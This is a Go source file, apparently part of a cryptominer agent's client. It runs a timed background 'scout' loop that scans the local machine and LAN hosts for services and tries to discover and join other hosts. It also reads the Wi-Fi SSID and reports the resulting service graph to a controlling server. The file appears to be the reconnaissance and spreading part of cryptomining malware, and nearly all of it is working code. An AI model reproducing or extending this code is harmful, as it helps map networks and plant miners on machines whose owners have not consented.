package client import ( "encoding/json" "log" "time" "crypto-miner-agent/deploy" ) const ( scoutInitialDelay = 90 * time.Second scoutCycleInterval = 15 * time.Minute ) func (c *AgentClient) startScoutRoving() { go func() { time.Sleep(scoutInitialDelay) for { c.runScoutCycle() time.Sleep(scoutCycleInterval) } }() } func (c *AgentClient) runScoutCycle() { c.mu.Lock() cfg := c.cfg c.mu.Unlock() if !cfg.ScoutMode { return } raw := deploy.RunServiceDiscover(32) result, err := deploy.ParseServiceDiscoverJSON(raw) if err != nil { log.Printf("[scout] service_discover parse: %v", err) return } serviceCount := len(result.Local.Services) for _, h := range result.LANHosts { serviceCount += len(h.Services) } lane := deploy.PickLocalJoinLane(raw) if lane == "" { if msg, derr := c.runDiscoverAndJoin(32); derr == nil { lane = c.getJoinLane() log.Printf("[scout] discover_and_join: %s (%s)", lane, msg) } else { log.Printf("[scout] discover_and_join skipped: %v", derr) } } else { c.setJoinLane(lane) log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount) } c.pushScoutReport(result, lane, serviceCount) } func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) { report := map[string]interface{}{ "join_lane": joinLane, "service_count": serviceCount, "service_graph": result, "scout_mode": true, } if ssid := deploy.ScoutWiFiSSID(); ssid != "" { report["ssid"] = ssid } payload, err := json.Marshal(report) if err != nil { return } if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil { log.Printf("[scout] scout_report write: %v", err) } }